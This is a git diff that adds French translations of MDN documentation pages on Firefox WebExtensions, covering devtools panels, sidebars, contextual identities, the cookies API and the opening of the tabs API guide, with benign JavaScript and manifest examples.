Dans le script, créez un panneau devtools en spécifiant le titre, l'icône et le fichier HTML du panneau qui fournit le contenu du panneau:

- -
function handleShown() {
-  console.log("panel is being shown");
-}
-
-function handleHidden() {
-  console.log("panel is being hidden");
-}
-
-browser.devtools.panels.create(
-  "My Panel",           // title
-  "icons/star.png",           // icon
-  "devtools/panel/panel.html"          // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(handleShown);
-  newPanel.onHidden.addListener(handleHidden);
-});
- -

L'extension peut maintenant exécuter un code dans la fenêtre inspectée à l'aide de devtools.inspectedWindow.eval() ou en injectant un script de contenu via le script en arrière en passant un message. Vous pouvez trouver plus de détails sur la façon de procéder dans l'Extension des outils de développement.

- -

Conception du panneau de développement

- -

Pour plus de détails sur la façon de concevoir la page Web de votre panneau de développeurs pour qu'elle corresponde au style de Firefox, consultez la documentation Photon Design System.

- -

Icônes

- -

Pour plus de détails sur la création d'icônes à utiliser avec votre panneau d'outils de développement, voir Iconographie dans la documentation du Photon Design System.

- - - -

Exemples

- -

Le depot webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qui utilisent les panneaux devtools:

- - diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.html new file mode 100644 index 0000000000..5d9e2cab05 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -0,0 +1,61 @@ +--- +title: Barres laterales +slug: Mozilla/Add-ons/WebExtensions/user_interface/barres_laterales +tags: + - WebExtensions + - barre latérale +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars +--- +
{{AddonSidebar}}
+ +
+

Une barre latérale est un volet qui s'affiche à gauche de la fenêtre du navigateur, à côté de la page Web. Cette page décrit les barres latérales, leur spécification, leur conception et des exemples d'utilisation.

+ +

Le navigateur fournit une interface utilisateur (UI) qui permet à l'utilisateur de voir les barres latéraux actuellement disponibles et de sélectionner une barre latérale à afficher. Par exemple, Firefox a un menu "Affichage > Barre latérale". Une seule barre latérale peut être affichée à la fois, et cette barre latérale sera affichée pour tous les onglets et toutes les fenêtres du navigateur.

+Le navigateur peut inclure un certain nombre de barrières intégrées. Par exemple, Firefox inclut une barre latérale pour interagir avec les favoris: + +

En utilisant la clé sidebar_action du manifest.json, une extension peut ajouter sa propre barre latérale au navigateur. Il sera répertorié à côté des barrières intégrées, et l'utilisateur pourra l'ouvrir en utilisant le même mécanisme que pour les barres intégrés.

+ +

Comme un popup d'action du navigateur, le contenu de la barre latérale est spécifié comme un document HTML. Lorsque l'utilisateur ouvre la barre latérale, son document de la barre latérale est chargé dans chaque fenêtre ouverte du navigateur. Chaque fenêtre possède sa propre instance du document. Lorsque de nouvelles fenêtres sont ouvertes, elles obtiennent également leurs propres documents de barre latérale.

+ +

Un document pour un onglet particulier peut être défini en utilisant la fonction {{WebExtAPIRef("sidebarAction.setPanel()")}}. Une barre latérale peut comprendre quelle fenêtre elle appartient à l'utilisation de l'API  {{WebExtAPIRef("windows.getCurrent()")}} :

+ +
// sidebar.js
+browser.windows.getCurrent({populate: true}).then((windowInfo) => {
+  myWindowId = windowInfo.id;
+});
+ +

Ceci est utile si une barre latérale veut afficher différents contenus pour différentes fenêtres. Par exemple, regardez l'exemple "annotate-page".

+ +

Les documents de la barre latérale ont accès au même priviléges que les API JavaScript d'arrière-plan et les scripts contextuels. Ils peuvent accéder directement à la page de fond en utilisant {{WebExtAPIRef("runtime.getBackgroundPage()")}}, et peuvent interagir avec des scripts de contenu ou des applications natives à l'aide d'API de messagerie comme {{WebExtAPIRef("tabs.sendMessage()")}} et  {{WebExtAPIRef("runtime.sendNativeMessage()")}}.

+ +

Les documents de la barre latérale sont déchargés lorsque leur fenêtre de navigateur est fermée ou lorsque l'utilisateur ferme la barre latérale. Cela signifie que, contrairement aux pages de fond, les documents de la barre latérale ne restent pas chargés tout le temps, mais contrairement aux popups d'action du navigateur, ils restent chargés pendant que l'utilisateur interagit avec les pages Web.

+ +

Lorsqu'une extension est installée comme une barre latérale, sa barre latérale s'ouvrira automatiquement. Ceci est destiné à aider l'utilisateur à comprendre que l'extension comprend une barre latérale. Notez qu'il n'est pas possible pour les add-ons d'ouvrir les barres latérales de façon programmée: les barrières latérales ne peuvent être ouvertes que par l'utilisateur.

+ +

Spécification des barres latérales

+ +

Pour spécifier une barre latérale, définissez le document par défaut avec la clé du manifest.json  sidebar_action, à côté d'un titre et d'une icône par défaut :

+ +
"sidebar_action": {
+  "default_title": "My sidebar",
+  "default_panel": "sidebar.html",
+  "default_icon": "sidebar_icon.png"
+}
+ +

Le titre, le panneau et l'icône peuvent être modifiés par programme en utilisant l'API {{WebExtAPIRef ("sidebarAction")}}.

+ +

Le titre et l'icône sont affichés à l'utilisateur dans une interface utilisateur fournie par le navigateur pour lister les barres latérales, telles que "Affichage > Barre latérale" dans le menu Firefox.

+ +

Concept de la barre latérale

+ +

Pour plus de détails sur la façon de concevoir la page web d'une barre latérale pour qu'elle corresponde au style de Firefox, voir la documentation du Système de conception Photon.

+ +

Exemple

+ +

Le dépôt webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qu utilise une barre latérale:

+ + +
diff --git a/files/fr/mozilla/add-ons/webextensions/what_next_/index.html b/files/fr/mozilla/add-ons/webextensions/what_next_/index.html new file mode 100644 index 0000000000..aabc4dccba --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/what_next_/index.html @@ -0,0 +1,72 @@ +--- +title: Que faire ensuite ? +slug: Mozilla/Add-ons/WebExtensions/que_faire_ensuite +tags: + - Débutant + - Extensions + - WebExtension +translation_of: Mozilla/Add-ons/WebExtensions/What_next_ +--- +
{{AddonSidebar}}
+ +

Vous serez maintenant prêt à commencer à transformer votre idée pour une extension de navigateur dans la réalité. Avant de commencer ce périple, ça vaut la peine d'être au courant de quelques choses  qui vous aides à en faire une.

+ +

Vous pouvez trouver plus d'informations sur de nombreux sujets abordés sur cette page sur l'atelier d'extension, un site web dédié à vous aider à écrire, tester, publier et distribuer des extensions pour Firefox.

+ +

Votre environnement de développement

+ +

Vous n'avez pas besoin d'outils spéciaux de développement ou de création d'environnement pour créer des extensions de navigateur : il est tout à fait possible de créer de superbes extensions de navigateur avec un simple éditeur de texte. Cependant, vous avez peut-être développé pour le Web et avez un ensemble d'outils et un environnement que vous souhaitez réutiliser. Si vous le faites, vous devez être conscient de certaines choses.

+ +

Si vous utilisez des outils de minimisation ou d'obscurcissement pour fournir votre code final, vous devez fournir votre code source au processus de révision AMO. De plus, les outils que vous utilisez — minification, obscurcissement et construction — doivent être open source (ou offrir une utilisation gratuite illimitée) et être disponible pour fonctionner sur l'ordinateur de l'utilisateur  (Windows, Mac, ou Linux). Malheureusement, nos réviseurs ne peuvent pas travailler avec des outils commerciaux ou basés sur le Web.

+ +

En savoir plus sur les outils de développement sur l'atelier d'extensions

+ +

Bibliothèques tierces

+ +

Les bibliothèques tierces sont un excellent moyen d'ajouter rapidement des fonctionnalités ou fonctionnalités complexes aux extensions de votre navigateur. Lorsque vous soumettez une extension au processus de révision AMO, le processus considère également les bibliothèques tierces utilisées. Pour rationaliser la révision, assurez-vous de toujours télécharger des bibliothèques tierces à partir de leur site Web officiel ou référentiel, et si la bibliothèque est minifiée, fournissez un lien vers le code source. Veuillez noter que les bibliothèques tierces ne peuvent être modifiées d'aucune façon.

+ +

En savoir plus sur la soumission du code source sur l'atelier d'extensions

+ +

L'accord de distribution des modules complémentaires de   Firefox

+ +

Les extensions de navigateur doivent être signées pour être installées dans les réalisations ou versions bêta de Firefox. La signature a lieu dans addons.mozilla.org (AMO) et est soumise aux termes et conditions du contrat de distribution de Firefox Add-on. L'objectif de l'accord est de garantir que les utilisateurs de Firefox aient accès à des modules complémentaires de qualité et bien supportés qui améliorent l'expérience de Firefox.

+ +

Lire l'accord sur l'atelier d'extensions

+ +

En savoir plus sur la signature de l'atelier extensions

+ +

Le processus d'examen

+ +

Lorsqu'une extension de navigateur est soumise à la signature, elle fait l'objet d'un examen automatisé. Il peut également faire l'objet d'un examen manuel lorsque l'examen automatisé détermine qu'un examen manuel est nécessaire. L'extension de votre navigateur ne sera pas signée tant qu'elle ne sera pas approuvée automatiquement et que sa signature sera révoquée si elle échoue à l'examen manuel. Le processus de révision suit un ensemble de directives strictes, il est donc facile de vérifier et d'éviter tout problème de révision probable.

+ +

Consultez la politique de révision et les lignes directrices sur l'atelier d'extensions

+ +

AMO a présenté des extensions de navigateur

+ +

Si vous choisissez de lister l'extension de votre navigateur sur AMO, votre extension pourrait figurer sur le site Web d'AMO, dans le gestionnaire de modules complémentaires du navigateur Firefox ou ailleurs sur un site Web de Mozilla. Nous avons compilé une liste de directives sur la manière dont les extensions sont sélectionnées pour être mises en avant. En suivant ces directives, vous donnez à votre extension les meilleures chances d'être sélectionnée.

+ +

En savoir plus sur la  façon de faire figurer vos modules complémentaires dans l'atelier d'extension

+ +

Continuez votre expérience d'apprentissage

+ +

Maintenant, vous savez ce qui nous attend, il est temps de plonger dans plus de détails sur le développement de l'extension du navigateur. Dans les sections suivantes, vous découvrirez :

+ +
    +
  • En savoir plus sur les concepts fondamentaux des extensions de navigateur, en commençant par les détails sur l'utilisation des APIs Javascript.
    • +
  • Un guide des composants de l'interface utilisateur disponibles pour les extensions de votre navigateur.
    • +
  • Une collection de guides pratiques sur la réalisation des tâches clés dans vos extensions ou l'utilisation des API JavaScript.
    • +
  • Un guide de référence complet sur les APIs JavaScript.
    • +
  • Un guide de référence complet sur les clés du manifeste.
    • +
+ +

Vous voudrez également vous rendre à l'Atelier des extensions où vous trouverez tout ce que vous devez savoir sur la création d'extensions pour Firefox, notamment :

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.html b/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.html new file mode 100644 index 0000000000..7acabb6773 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.html @@ -0,0 +1,169 @@ +--- +title: Travailler avec des identités contextuelles +slug: Mozilla/Add-ons/WebExtensions/travailler_avec_des_identites_contextuelles +tags: + - Add-ons + - Comment + - Contextual identities + - Débutant + - Extensions + - Hox-to + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities +--- +

{{AddonSidebar}}

+ +

Beaucoup de gens ont besoin ou veulent interagir avec le web en utilisant plusieurs personnages. Ils peuvent avoir des comptes pour le travail sur le Web et le courrier électronique personnel. Ils peuvent se déconnecter de leurs comptes de médias sociaux avant d'accéder aux achats en ligne, afin de s'assurer que les scripts de suivi sur les sites d'achat ne peuvent pas prendre en charge leur activité de médias sociaux. Pour répondre à ces exigences, les utilisateurs finissent souvent par utiliser une fenêtre de navigateur standard et privée ou deux navigateurs différents.

+ +

Pour répondre à ce besoin, Firefox inclut une fonctionnalité connue sous le nom d'identités contextuelles, d'onglets de conteneurs ou de conteneurs de comptes. Cette fonctionnalité permet la création d'un conteneur de cookies pour chacune des identités que l'utilisateur souhaite utiliser dans son navigateur. Les onglets peuvent être associés à l'une de ces identités, en conservant les cookies distincts de ceux des autres identités dans le navigateur. Le résultat pratique est que, par exemple, un utilisateur peut avoir une identité personnelle et professionnelle. Ils peuvent ensuite utiliser l'identité personnelle dans un onglet, où ils se connectent à leur messagerie Web personnelle, et l'identité professionnelle dans un autre onglet, où ils se connectent à leur messagerie Web professionnelle.

+ +

Pour plus d'informations sur cette fonctionnalité, voir :

+ + + +

API pour travailler avec des identités contextuelles

+ +

Pour utiliser les fonctionnalités d'identité contextuelle dans les extensions, vous utiliserez deux APIs :

+ +
    +
  • {{WebExtAPIRef("contextualIdentities")}} qui permet à une extension d'ajouter, d'interroger, de mettre à jour et de supprimer des identités contextuelles.
    • +
  • {{WebExtAPIRef("tabs")}} ou plus précisément {{WebExtAPIRef("tabs.create")}} qui vous permet de créer un onglet utilisant le conteneur d'une identité contextuelle (magasin de cookies).
    • +
+ +

Permissions

+ +

Pour utiliser l'API {{WebExtAPIRef("contextualIdentities")}} vous devez inclure la  permission "contextualIdentities" dans votre fichier manifest.json. Vous n'avez pas besoin de la permission "tabs" pour utiliser {{WebExtAPIRef("tabs.create")}} ; vous avez besoin de la permission "cookies" pour spécifier le conteneur de cookies que vous souhaitez utiliser.

+ +

Exemple de procédure pas à pas

+ +

L'exemple d'extension contextual-identities fournit un bouton de barre d'outils avec une fenêtre qui répertorie les identités dans le navigateur. Pour chaque identité, l'extension fournit des options permettant de créer un nouvel onglet en utilisant son conteneur de cookies ou de supprimer tous les onglets de l'identité.

+ +

Voici une courte vidéo de l'extension en action :

+ +

{{EmbedYouTube("SgLCS7_ppas")}}

+ +

manifest.json

+ +

Les principales caractéristiques du fichier manifest.json sont :

+ +
    +
  • La demande de permissions : + 
      "permissions": [
+      "contextualIdentities",
+      "cookies"
+  ],
    +
    • +
  • spécification du bouton de la barre d'outils (browseAction) donnant accès aux fonctionnalités de l'extension : + 
      "browser_action": {
+    "browser_style": true,
+    "default_title": "Contextual Identities",
+    "default_popup": "context.html",
+    "default_icon": {
+      "128": "identity.svg"
+    }
    +
    • +
+ +

context.html

+ +

Une fenêtre contextuelle sur le bouton de la barre d'outils fournit l'interface utilisateur de l'extension. context.html implémente ce popup, mais c'est juste un shell dans lequel le script context.js écrit la liste des identités contextuelles et leurs options associées.

+ +
  <body>
+    <div class="panel">
+      <div id="identity-list"></div>
+    </div>
+  <script src="context.js"></script>
+  </body>
+ +

context.js

+ +

Toutes les fonctionnalités de l'extension sont implémentées via context.js, qui est appelée chaque fois que la barre d'outils est affichée.

+ +

Le script obtient d'abord le div 'identity-list' depuis context.html.

+ +
var div = document.getElementById('identity-list');
+ +

Il vérifie ensuite si la fonction d'identités contextuelles est activée dans le navigateur. Si ce n'est pas le cas, des informations sur la façon de l'activer sont ajoutées à la fenêtre contextuelle.

+ +
if (browser.contextualIdentities === undefined) {
+  div.innerText = 'browser.contextualIdentities not available. Check that the privacy.userContext.enabled pref is set to true, and reload the add-on.';
+} else {
+ +

Firefox s'installe avec la fonctionnalité d'identité contextuelle désactivée, elle est activée lorsqu'une extension utilisant l'API contextualIdentities est installée. Cependant, il est toujours possible pour l'utilisateur de désactiver la fonctionnalité, en utilisant une option sur la page des préférences (about:preferences), d'où la nécessité de la vérification.

+ +

Le script utilise maintenant contextualIdentities.query pour déterminer s'il existe des identités contextuelles définies dans le navigateur. S'il n'y en a pas, un message est ajouté au popup et le script s'arrête.

+ +
  browser.contextualIdentities.query({})
+    .then((identities) => {
+      if (!identities.length) {
+        div.innerText = 'No identities returned from the API.';
+        return;
+      }
+ +

Si des identités contextuelles sont présentes — Firefox a quatre identités par défaut — le script parcourt chacune d'elles en ajoutant son nom, stylisé dans la couleur choisie, à l'élément <div>. La fonction createOptions() ajoute ensuite les options à “create” ou  “close all” à la <div> avant qu'elle ne soit ajoutée au popup.

+ +
     for (let identity of identities) {
+       let row = document.createElement('div');
+       let span = document.createElement('span');
+       span.className = 'identity';
+       span.innerText = identity.name;
+       span.style = `color: ${identity.color}`;
+       console.log(identity);
+       row.appendChild(span);
+       createOptions(row, identity);
+       div.appendChild(row);
+     }
+  });
+}
+
+function createOptions(node, identity) {
+  for (let option of ['Create', 'Close All']) {
+    let a = document.createElement('a');
+    a.href = '#';
+    a.innerText = option;
+    a.dataset.action = option.toLowerCase().replace(' ', '-');
+    a.dataset.identity = identity.cookieStoreId;
+    a.addEventListener('click', eventHandler);
+    node.appendChild(a);
+  }
+}
+ +

Le script attend maintenant que l'utilisateur sélectionne une option dans le popup.

+ +
function eventHandler(event) {
+ +

Si l'utilisateur clique sur l'option permettant de créer un onglet pour une identité, l'un d'entre eux est ouvert à l'aide de tabs.create en transmettant l'ID de cookie de l'identité.

+ +
  if (event.target.dataset.action == 'create') {
+    browser.tabs.create({
+      url: 'about:blank',
+      cookieStoreId: event.target.dataset.identity
+    });
+  }
+ +

Si l'utilisateur sélectionne l'option permettant de fermer tous les onglets pour l'identité, le script exécute une tabs.query pour tous les onglets qui utilisent le cookie store de l'identité. Le script passe ensuite cette liste d'onglets à tabs.remove.

+ +
  if (event.target.dataset.action == 'close-all') {
+    browser.tabs.query({
+      cookieStoreId: event.target.dataset.identity
+    }).then((tabs) => {
+      browser.tabs.remove(tabs.map((i) => i.id));
+    });
+  }
+  event.preventDefault();
+}
+ +

Apprendre encore plus

+ +

Si vous voulez en savoir plus sur l'API contextualIdentities, consultez :

+ +
    +
  • contextualIdentities API reference.
    • +
  • code source de l'extension Multi-Account Containers. C'est le code pour l'extension Firefox Multi-Account Containers. +

    Cette extension fournit aux utilisateurs des fonctionnalités améliorées pour les identités contextuelles, telles que la possibilité de cliquer longuement sur le nouveau bouton de l'onglet, puis de sélectionner l'identité à utiliser dans le nouvel onglet. Il met vraiment en valeur les capacités offertes par les identités contextuelles et vaut le détour.

    + .
    • +
diff --git a/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.html b/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.html new file mode 100644 index 0000000000..c13965f88e --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.html @@ -0,0 +1,254 @@ +--- +title: Travailler avec l'API Cookies +slug: Mozilla/Add-ons/WebExtensions/travailler_avec_l_API_cookies +tags: + - Add-ons + - Comment + - Cookies + - Débutant + - Extensions + - How-to + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API +--- +

{{AddonSidebar}}

+ +

Avec l'API Cookies, vos extensions ont accès à des fonctionnalités similaires à celles utilisées par les sites Web pour stocker et lire les cookies. Les fonctionnalités de l'API permettent aux extensions de stocker des informations site par site. Ainsi, comme nous le verrons dans l'exemple, vous pouvez stocker des détails sur le choix de la couleur de fond d'un site pour un utilisateur. Ensuite, lorsque l'utilisateur revient sur le site, votre extension peut utiliser la capacité de l'API pour obtenir des détails sur les cookies et les lire pour récupérer le choix de l'utilisateur et l'appliquer au site Web.

+ +
+

Le comportement des cookies peut être contrôlé à l'aide de la propriété {{WebExtAPIRef("privacy.websites")}} cookieConfig. Cette propriété contrôle si et comment les cookies sont acceptés ou si tous les cookies sont traités comme des cookies de session.

+
+ +

Permissions

+ +

Pour utiliser l'API Cookies, vous devez demander à la fois la permission "cookies" et les  permissions d'hôte pour les protocoles, domaines, ou sites web auxquels vous souhaitez accéder ou utiliser "<all_urls>" pour accéder à tous les protocoles et domaines. La façon dont vous définissez votre chaîne de permission d'hôte affecte la capacité de votre extension à lire, écrire et supprimer les cookies.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Chaine de permission hôte

+ 		+

Lecture

+ 		+

Ecriture/Effacer

+
+

Sécurisé

+ 		+

Non-sécurisé

+ 		+

Sécurisé

+ 		+

Non-sécurisé

+
+

"http://*.example.com/"

+ 		+

Non

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+
+

"https://www.example.com/"

+ 		+

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

+ 		+

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

+ 		+

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

+ 		+

www.example.com ou .example.com avec n'importe quel chemin, mais aucun sous domaine

+
+

"*://*.example.com/"

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+ 		+

Principaux et sous domaines, avec n'importe quel chemin

+
+

"<all_urls>"

+ 		+

Tout domaine avec un chemin

+ 		+

Tout domaine avec un chemin

+ 		+

Tout domaine avec un chemin

+ 		+

Tout domaine avec un chemin

+
+
+ +

Banque de cookies

+ +

Firefox fournit trois types de banque de cookies :

+ +
    +
  • La banque par défaut, qui stocke les cookies de la navigation normale.
    • +
  • Le mode de navigation privée stocke les cookies créés lors d'une session de navigation privée. Ces banques et tous les cookies qu'ils contiennent sont supprimés lorsque la fenêtre de navigation privée associée se ferme.
    • +
  • La banque de conteneur d'onglets, qui stocke les cookies pour chaque identité contextuelle dans Firefox. Les identités contextuelles permettent à un utilisateur de conserver plusieurs identités dans une fenêtre de navigateur. Ceci est utile si, par exemple, vous avez un compte de messagerie d'entreprise et personnel sur Gmail. Avec les identités contextuelles, vous pouvez ouvrir un onglet par rapport à une identité personnelle et un deuxième onglet par rapport à une identité d'entreprise. Chaque onglet peut ensuite se connecter à Google Mail avec un nom d'utilisateur différent, et les deux comptes peuvent être utilisés côte à côte. Pour plus d'informations, voir Sécurité/Projet d'identité contextuelle/Conteneurs dans le wiki Mozilla.
    • +
+ +

Vous pouvez trouver les banques de cookies disponibles en utilisant {{WebExtAPIRef("cookies.getAllCookieStores")}}, qui renvoie un objet contenant l'ID de chaque cookie et une liste des ID des onglets utilisant chaque banque de cookies.

+ +

Exemple de procédure pas à pas

+ +

L'exemple d'extension cookie-bg-picker permet à l'utilisateur de choisir une couleur et une icône appliquées à l'arrière-plan des pages Web d'un site. Ces choix sont sauvegardés par site en utilisant {{WebExtAPIRef("cookies.set")}}. Lorsqu'une page du site est ouverte, {{WebExtAPIRef("cookies.get")}} lit tout choix précédent, et l'extension l'applique à la page Web. Une option de réinitialisation supprime l'icône d'arrière-plan et la couleur du site ainsi que le cookie, en utilisant {{WebExtAPIRef("cookies.remove")}}. Il utilise également {{WebExtAPIRef("cookies.onChanged")}} pour écouter les modifications apportées aux cookies, en envoyant les détails de la modification à la console.

+ +

Cette vidéo montre l'extension en action :

+ +

{{EmbedYouTube("_rlp3eYqEMA")}}

+ +

Cet exemple utilise également les API Tabs et Runtime, mais nous ne discuterons de ces fonctionnalités qu'en passant.

+ +

manifest.json

+ +

The key feature of the manifest.json file relating to the use of the Cookies API is the permissions request:

+ +
  "permissions": [
+      "tabs",
+      "cookies",
+      "<all_urls>"
+],
+ +

Ici, l'extension demande l'autorisation d'utiliser l'API Cookies ("cookies") avec tous les sites Web ("<all_urls>"). Cela permet à l'extension d'enregistrer le choix de l'icône de couleur d'arrière-plan pour n'importe quel site Web.

+ +

Scripts—bgpicker.js

+ +

L'interface utilisateur de l'extension utilise un bouton de barre d'outils ({{WebExtAPIRef("browserAction")}}) implémenté avec bgpicker.html qui appelle bgpicker.js. Ensemble, ils permettent à l'utilisateur de sélectionner l'icône et d'entrer la couleur à appliquer en arrière-plan. Ils offrent également la possibilité d'effacer ces paramètres.

+ +

bgpicker.js gère la sélection de l'icône ou l'entrée d'une couleur pour l'arrière-plan dans des fonctions séparées.

+ +

Pour gérer les boutons d'icônes, le script rassemble d'abord tous les noms de classe utilisés pour les boutons dans le fichier HTML :

+ +
var bgBtns = document.querySelectorAll('.bg-container button');
+ +

Il boucle ensuite à travers tous les boutons en leur assignant leur image et en créant un écouteur onclick pour chaque bouton :

+ +
for(var i = 0; i < bgBtns.length; i++) {
+  var imgName = bgBtns[i].getAttribute('class');
+  var bgImg = 'url(\'images/' + imgName + '.png\')';
+  bgBtns[i].style.backgroundImage = bgImg;
+
+  bgBtns[i].onclick = function(e) {
+ +

Quand un bouton est cliqué, sa fonction d'écouteur correspondante obtient le nom de classe de bouton et ensuite le chemin d'icône qu'il passe au script de contenu de la page (updatebg.js) en utilisant un message. Le script de contenu applique ensuite l'icône à l'arrière-plan de la page Web. Pendant ce temps, bgpicker.js stocke les détails de l'icône appliquée à l'arrière-plan dans un cookie :

+ +
    cookieVal.image = fullURL;
+    browser.cookies.set({
+    url: tabs[0].url,
+    name: "bgpicker",
+    value: JSON.stringify(cookieVal)
+  })
+ +

Le paramètre de couleur est traité de la même manière, déclenché par un écouteur dans le champ de saisie de couleur. Lorsqu'une couleur est entrée, l'onglet actif est découvert et les détails de sélection de couleur envoyés, à l'aide d'un message, au script de contenu de la page à appliquer à l'arrière-plan de la page Web. Ensuite, la sélection de couleur est ajoutée au cookie :

+ +
    cookieVal.color = currColor;
+    browser.cookies.set({
+    url: tabs[0].url,
+    name: "bgpicker",
+    value: JSON.stringify(cookieVal)
+ +

Lorsque l'utilisateur clique sur le bouton de réinitialisation qui a été affecté à la réinitialisation de la variable :

+ +
var reset = document.querySelector('.color-reset button');
+ +

reset.onclick trouve d'abord l'onglet actif. Ensuite, en utilisant l'ID de l'onglet, il transmet un message au script de contenu de la page (updatebg.js) pour qu'il supprime l'icône et la couleur de la page. La fonction efface ensuite les valeurs de cookie (de sorte que les anciennes valeurs ne sont pas reportées et écrites sur un cookie créé pour une nouvelle icône ou sélection de couleur sur la même page) avant de supprimer le cookie :

+ +
    cookieVal = { image : '',
+                  color : '' };
+    browser.cookies.remove({
+    url: tabs[0].url,
+    name: "bgpicker"
+ +

Aussi, afin que vous puissiez voir ce qui se passe avec les cookies, le script rend compte de toutes les modifications apportées aux cookies dans la console :

+ +
browser.cookies.onChanged.addListener((changeInfo) => {
+  console.log(`Cookie changed:\n
+    * Cookie: ${JSON.stringify(changeInfo.cookie)}\n
+    * Cause: ${changeInfo.cause}\n
+    * Removed: ${changeInfo.removed}`);
+  });
+ +

Scripts—background.js

+ +

Un script d'arrière-plan (background.js) permet à l'utilisateur de choisir une icône d'arrière-plan et une couleur pour le site Web dans une session antérieure. Le script est à l'écoute des changements dans l'onglet actif, que ce soit l'utilisateur qui passe d'un onglet à l'autre ou modifie l'URL de la page affichée dans l'onglet. Lorsque l'un de ces événements se produit, cookieUpdate() est appelée.  cookieUpdate() utilise à son tour getActiveTab() pour obtenir l'ID de l'onglet actif. La fonction peut ensuite vérifier si un cookie existe pour l'extension, en utilisant l'URL de l'onglet :

+ +
    var gettingCookies = browser.cookies.get({
+      url: tabs[0].url,
+      name: "bgpicker"
+    });
+ +

Si le cookie "bgpicker" existe pour le site Web, les détails de l'icône et de la couleur sélectionnés précédemment sont récupérés et transmis au script de contenu updatebg.js à l'aide de messages :

+ +
    gettingCookies.then((cookie) => {
+      if (cookie) {
+        var cookieVal = JSON.parse(cookie.value);
+        browser.tabs.sendMessage(tabs[0].id, {image: cookieVal.image});
+        browser.tabs.sendMessage(tabs[0].id, {color: cookieVal.color});
+      }
+    });
+ +

Autres caractéristiques

+ +

En plus des API mentionnées jusqu'à présent, l'API Cookies propose également {{WebExtAPIRef("cookies.getAll")}}. Cette fonction prend l'objet details pour spécifier des filtres pour les cookies sélectionnés et retourne un tableau d'objets {{WebExtAPIRef("cookies.Cookie")}} qui correspondent aux critères de filtrage.

+ +

Apprendre encore plus

+ +

Si vous voulez en savoir plus sur l'API Cookies, consultez :

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.html b/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.html new file mode 100644 index 0000000000..049a8e5683 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.html @@ -0,0 +1,628 @@ +--- +title: Travailler avec l'API Tabs +slug: Mozilla/Add-ons/WebExtensions/Travailler_avec_l_API_Tabs +tags: + - Add-ons + - Comment + - Débutant + - WebExtensions + - onglets + - tabs +translation_of: Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API +--- +

{{AddonSidebar}}

+ +

Les onglets permettent à un utilisateur d'ouvrir plusieurs pages Web dans la fenêtre de son navigateur, puis de basculer entre ces pages Web. Grâce à l'API Tabs, vous pouvez utiliser et manipuler ces onglets pour créer des utilitaires qui offrent aux utilisateurs de nouvelles façons de travailler avec des onglets ou de fournir les fonctionnalités de votre extension.

+ +

Dans cet article, nous allons regarder :

+ +
    +
  • Permissions nécessaires pour utiliser l'API Tabs.
    • +
  • En savoir plus sur les onglets et leurs propriétés en utilisant {{WebExtAPIRef("tabs.query")}}.
    • +
  • Création, duplication, déplacement, mise à jour, rechargement et suppression des onglets.
    • +
  • Manipuler le niveau de zoom d'un onglet.
    • +
  • Manipuler le CSS d'un onglet.
    • +
+ +

Nous concluons ensuite en examinant d'autres fonctionnalités diverses offertes par l'API.

+ +
+

Remarque : Certaines fonctionnalités de l'API d'onglet sont couvert ailleurs. Voici les méthodes que vous pouvez utiliser pour manipuler le contenu de l'onglet avec des scripts ({{WebExtAPIRef("tabs.connect")}}, {{WebExtAPIRef("tabs.sendMessage")}}, et  {{WebExtAPIRef("tabs.executeScript")}}). Si vous voulez plus d'informations sur ces méthodes, reportez-vous à l'article scripts de contenu et le guide pratique modifier une page web.

+
+ +

Permissions et l'API Tabs

+ +

Pour la majorité des fonctions de l'API Tabs, vous n'avez besoin d'aucune autorisation. Cependant, il y a certaines exceptions :

+ +
    +
  • permission "tabs" est nécessaire pour accéder aux propriétés de  Tab.url, Tab.title, et Tab.favIconUrl de l'objet Tab. Dans Firefox, vous avez également besoin de "tabs" pour effectuer une  requête par URL.
    • +
  • persmission de l'hote est nécessaire pour  {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}}.
    • +
+ +

Vous pouvez demander la permission "tabs" dans le fichier manifest.json de votre extension :

+ +
"permissions": [
+  "<all_urls>",
+  "tabs"
+],
+
+ +

Cette requête vous permet d'utiliser toutes les fonctionnalités de l'API Tabs sur tous les sites Web que vos utilisateurs visitent. Il existe également une autre méthode pour demander la permission d'utiliser {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}} où vous n'avez pas besoin de la permission de l'hôte, sous la forme "activeTab". Cette permission fournit les mêmes droits que les  "onglets" avec <all_urls>, mais avec deux restrictions:

+ +
    +
  • l'utilisateur doit interagir avec l'extension via son navigateur ou l'action de la page, le menu contextuel ou la touche de raccourci.
